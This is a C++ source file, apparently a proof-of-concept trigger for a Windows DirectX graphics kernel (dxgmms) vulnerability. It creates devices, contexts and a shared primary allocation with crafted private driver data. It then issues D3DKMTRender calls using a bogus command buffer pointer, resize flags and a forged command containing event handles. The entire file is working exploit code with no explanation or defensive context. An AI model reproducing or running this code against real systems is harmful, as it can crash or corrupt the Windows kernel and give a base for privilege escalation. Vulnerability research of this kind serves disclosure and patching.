#include "stdafx.h"

#include <Windows.h>
#include <d3dkmthk.h>

void render_dxgmms_poc()
{
	int xx = 0;
	//__asm int 3
	D3DKMT_ENUMADAPTERS enumAdapter = { 0 };
	D3DKMTEnumAdapters(&enumAdapter);

	D3DKMT_CREATEDEVICE deviceVM3D = { 0 };
	deviceVM3D.hAdapter = enumAdapter.Adapters[0].hAdapter;
	D3DKMTCreateDevice(&deviceVM3D);

	D3DKMT_CREATEDEVICE deviceMS = { 0 };
	deviceMS.hAdapter = enumAdapter.Adapters[1].hAdapter;
	D3DKMTCreateDevice(&deviceMS);

	D3DKMT_CREATECONTEXT contextVM3D = { 0 };
	contextVM3D.hDevice = deviceVM3D.hDevice;
	contextVM3D.NodeOrdinal = 0x0; 
	char data[0x200] = { 0 };
	memset(data, 0xee, 0x200);
	*(DWORD*)(data + 4) = 0x1; // <= 1
	contextVM3D.PrivateDriverDataSize = 0x200;
	contextVM3D.pPrivateDriverData = data;
	D3DKMTCreateContext(&contextVM3D);

	D3DKMT_CREATECONTEXT contextMS = { 0 };
	contextMS.hDevice = deviceMS.hDevice;
	contextMS.NodeOrdinal = 0x1;
	memset(data, 0xee, 0x200);
	contextMS.PrivateDriverDataSize = 0x200;
	contextMS.pPrivateDriverData = data;
	D3DKMTCreateContext(&contextMS);

	D3DKMT_CREATEALLOCATION allocationVM3D = { 0 };
	allocationVM3D.hDevice = deviceVM3D.hDevice;
	char runtimedata[0x200] = { 0 };
	memset(runtimedata, 0xee, 0x200);
	allocationVM3D.PrivateDriverDataSize = 0x100;
	allocationVM3D.pPrivateDriverData = runtimedata;
	allocationVM3D.pPrivateRuntimeData = runtimedata;
	allocationVM3D.PrivateRuntimeDataSize = 0x200;
	allocationVM3D.hResource = NULL;
	allocationVM3D.NumAllocations = 1; 
	D3DDDI_ALLOCATIONINFO2 allocationInfoVM3D = { 0 };
	allocationInfoVM3D.pSystemMem = runtimedata;
	allocationInfoVM3D.VidPnSourceId = 0;
	allocationInfoVM3D.Flags.Primary = 1;
	//allocationInfo.Flags.OverridePriority = 1;
	allocationInfoVM3D.PrivateDriverDataSize = 0x60; //0x50 or 0x60
	char privateData[0x60] = { 0 };
	memset(privateData, 0xcc, 0x60);
	*(DWORD*)(privateData) = 0x8000000;// < 8000000
	*(DWORD*)(privateData + 4) = 0xf; // <= 0xf
									  // *(DWORD*)(privateData + 4) = 1; // <= 0xf
	*(DWORD*)(privateData + 0x20) = 5; // <7
	allocationInfoVM3D.pPrivateDriverData = privateData;
	allocationVM3D.pAllocationInfo2 = &allocationInfoVM3D;
	allocationVM3D.Flags.CreateResource = 1;
	allocationVM3D.Flags.CreateShared = 1;
	D3DKMTCreateAllocation(&allocationVM3D);
	if (allocationInfoVM3D.hAllocation == NULL)
	{
		return;
	}

	D3DKMT_RENDER render = { 0 };
	render.hContext = contextMS.hContext;
	render.AllocationCount = 0x10;
	render.CommandOffset = 0x100;
	render.CommandLength = 0x100;
	render.NewAllocationListSize = 0x20;
	render.NewCommandBufferSize = 0x2000;
	render.NewPatchLocationListSize = 0x20;
	render.pNewCommandBuffer = (PVOID)0x123456789;
	render.Flags.ResizeAllocationList = 1;
	render.Flags.ResizeCommandBuffer = 1;
	//render.Flags.ResizePatchLocationList = 1;
	//render.Flags.PresentRedirected = 1;
	render.PrivateDriverDataSize = 0xcc;
	char renderData[0xcc] = { 0 };
	memset(renderData, 0xff, 0xcc);
	render.pPrivateDriverData = renderData;
//	__asm int 3
	D3DKMTRender(&render);

	memset(render.pNewCommandBuffer, 0xcc, render.CommandLength + 0x300);
	BYTE* pcmd = (BYTE*)render.pNewCommandBuffer + render.CommandOffset;
	*(DWORD*)pcmd = 0x434E5953; //4546504Fh
	*(DWORD*)(pcmd + 4) = 0x18;
	HANDLE event1 = CreateEvent(NULL, TRUE, FALSE, NULL);
	HANDLE event2 = CreateEvent(NULL, TRUE, FALSE, NULL);
	*(HANDLE*)(pcmd + 8) = event1;
	*(HANDLE*)(pcmd + 0x10) = event2;
	//memset(render.pNewAllocationList, 0xcc, render.AllocationCount * sizeof(D3DDDI_ALLOCATIONLIST));
	render.pNewAllocationList[0].hAllocation = allocationInfoVM3D.hAllocation;

	memset(&render, 0, sizeof(render));
	render.hContext = contextMS.hContext;
	render.AllocationCount = 0x10;
	render.CommandOffset = 0x100;
	render.CommandLength = 0x900;
	render.NewAllocationListSize = 0x20;
	render.NewCommandBufferSize = 0x2000;
	render.NewPatchLocationListSize = 0x20;
	//render.Flags.ResizeAllocationList = 1;
	//render.Flags.ResizeCommandBuffer = 1;
	//render.Flags.ResizePatchLocationList = 1;
	render.Flags.PresentRedirected = 1;
	render.PrivateDriverDataSize = 0xcc;
	memset(renderData, 0xff, 0xcc);
	render.pPrivateDriverData = renderData;
//	__asm int 3
	xx = D3DKMTRender(&render);

	return;

}

int main()
{
	render_dxgmms_poc();
    return 0;
}

